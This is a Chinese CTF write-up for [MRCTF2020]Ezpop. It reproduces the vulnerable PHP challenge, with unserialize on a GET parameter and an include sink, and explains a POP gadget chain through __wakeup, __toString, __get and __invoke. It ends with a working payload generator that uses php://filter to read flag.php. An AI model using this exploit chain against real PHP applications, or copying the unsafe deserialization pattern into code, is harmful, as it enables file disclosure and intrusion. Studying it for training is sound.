[MRCTF2020]Ezpop
题目:
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
反序列化直接分析,构造pop链
1.先分析第一个类,Modifier类
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
append方法里面有内置函数include,包含$value值。__invoke方法是当脚本尝试将对象调用为函数时触发
2.show类
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
__construct方法,接收参数$file,$this->source = $file将$file的值赋给source。而$file的值直接就是inde.php,所以还是输出index.php。
__toString方法,当前对象访问str再访问source,然后返回这个值,就是把类当作字符串使用时触发
__wakeup方法,使用反序列化的时候触发,而这里同时也可以触发__toString方法。里面有waf,过滤一些协议,但是显而易见可以用filter。
3.Test类
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
__construct方法,把p对象变成一个数组。
__get方法,从不可访问的属性中读取数据会触发
4.分析
$value接收什么可以控制
__invoke调用append,里面有$value。
__get将对象p作为函数调用,p实例化为Modify类,而触发__invoke
__toString访问str的source属性,str没source属性,而触发__get
__wakeup把对象当成字符串处理(做匹配的时候),触发__toString
使用反序列化函数触发__wakeup
5.payload构造思路
Modifier类,先把$var的值写成伪协议读源码
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}
show类,这是pop链最开始,使用反序列化触发__wakeup,__wakeup直接触发__toString,然后访问source触发__get
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return "HNPC";
}
}
Test类,p实例化为Modify类
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
最后
$o = new Show('aaa');
$o->str= new Test();
$mlz = new Show($o);
echo urlencode(serialize($mlz));
6.payload
<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$o = new Show('aaa');
$o->str= new Test();
$mlz = new Show($o);
echo urlencode(serialize($mlz));

pop传入,之后base64解码,得到flag
作者:浩歌已行
链接:https://www.jianshu.com/p/150cb693f77b
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

浙公网安备 33010602011771号